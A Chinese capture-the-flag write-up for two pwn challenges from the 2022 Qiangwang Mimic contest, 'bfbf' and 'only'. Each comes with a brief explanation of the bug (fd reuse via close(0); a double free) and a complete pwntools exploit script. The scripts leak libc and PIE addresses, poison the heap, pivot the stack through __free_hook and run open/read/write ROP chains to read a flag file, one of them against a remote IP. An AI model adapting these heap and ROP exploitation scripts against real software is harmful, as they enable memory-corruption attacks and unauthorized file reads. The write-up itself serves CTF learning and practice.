2022强网拟态

bfbf

可以通过 close(0),使得打开 flag 文件时,分配到的 fd 为0,从而绕过 5 的限制,读取 flag。

image-20221117135727016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
DEBUG = 0
if DEBUG:
#libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
#ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")
#p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
p = process('./pwn')
else:
ip = '172.51.243.161'
port = 9999
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
#gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x17e3)")
gdb.attach(p, "b *$rebase(0x18cd)")


p.recvuntil(b'BF_PARSER>>\n')
payload = b'>'*0x238 + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.'
payload += b'<'*0x25 + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.' + b'>' + b'.'
payload += b'<'*5 + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>'
for i in range(28):
payload += b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>' + b',' + b'>'
#debug()
p.send(payload)
sleep(0.5)
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x24083
log.info("libc_base==>0x%x" %leak)
pie = u64(p.recv(6).ljust(8, b'\x00')) - 0x1955
log.info("pie==>0x%x" %pie)
pop_rdi = 0x0000000000023b6a + leak
pop_rsi = 0x000000000002601f + leak
pop_rdx = 0x0000000000142c92 + leak
ret = 0x0000000000022679 + leak
read = leak + libc.sym['read']
bss = 0x0000000000008060 + pie
open = libc.sym['open'] + leak
close = leak + libc.sym['close']
write = leak + libc.sym['write']

payload2 = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(8) + p64(read)
payload2 += p64(pop_rdi) + p64(0) + p64(close)
payload2 += p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(open)
payload2 += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(50) + p64(read)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(50) + p64(write)
p.send(payload2)
sleep(0.5)
p.send(b'./flag\x00\x00')
p.interactive()

only

因为这题涉及到爆破,概率为 1/256 ;为了复现方便,所以选择关闭 ASLR 。

1
sudo sysctl -w kernel.randomize_va_space=0

这边有个点,要看出来题才有办法做:如果堆块存在则可以使用这个功能对堆块的内容清空,所以借此可以形成 double free,之后就是利用 seccomp 会产生很多的堆块来进行后续的利用。

image-20230118234059687

image-20230118234024015

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./only')
DEBUG = 1
if DEBUG:
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
p = process('./only')
else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(size, content):
p.sendlineafter(b"Choice >> ", b'1')
p.recvuntil(b"Size:")
p.sendline(str(size).encode('ascii'))
p.recvuntil(b"Content:")
p.send(content)


def free():
p.sendlineafter(b"Choice >> ", b'2')


def gift():
p.sendlineafter(b"Choice >> ", b'0')


add(0xe0, b'a\n')
free()
gift()
free()
add(0xe0, b'\xf0\x97\n')
add(0xe0, b'\xf0\x97\n')
add(0xe0, p64(0) + p64(0x491) + b'\x00\x98\n')
add(0x60, b'\n')
free()
add(0x30, b'\xa0\xa6\n')
add(0x60, b'a\n')
add(0x60, p64(0xfbad1800) + p64(0)*3 + b'\x00\n')
# debug()
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
log.info("libc_base==>0x%x" %leak)

free_hook = leak + libc.sym['__free_hook']
open = libc.sym['open'] + leak
read = libc.sym['read'] + leak
write = libc.sym['write'] + leak
syscall = next(libc.search(asm("syscall\nret"))) + leak
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + leak
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + leak
pop_rdx = 0x0000000000142c92 + leak # pop rdx ; ret
pop_rax = next(libc.search(asm('pop rax\nret'))) + leak
gadget1 = 0x0000000000151990 + leak # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget2 = 0x000000000005b4d0 + leak # mov rsp, rdx ; ret


add(0xe0, p64(0) * 5 + p64(0x81) + p64(free_hook) + b'\n')
add(0x70, b'\n')
payload = p64(gadget1) + p64(free_hook + 0x10) + p64(leak + libc.sym['gets']) + p64(0)*3 + p64(gadget2) + b'\n'
add(0x70, payload)
# debug()
free()

rop = p64(0)*2 + b'./flag\x00\x00'
rop += p64(pop_rdi) + p64(free_hook + 0x10) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(free_hook) + p64(pop_rdx) + p64(0x30) + p64(write)
p.sendline(rop)


p.interactive()


查看评论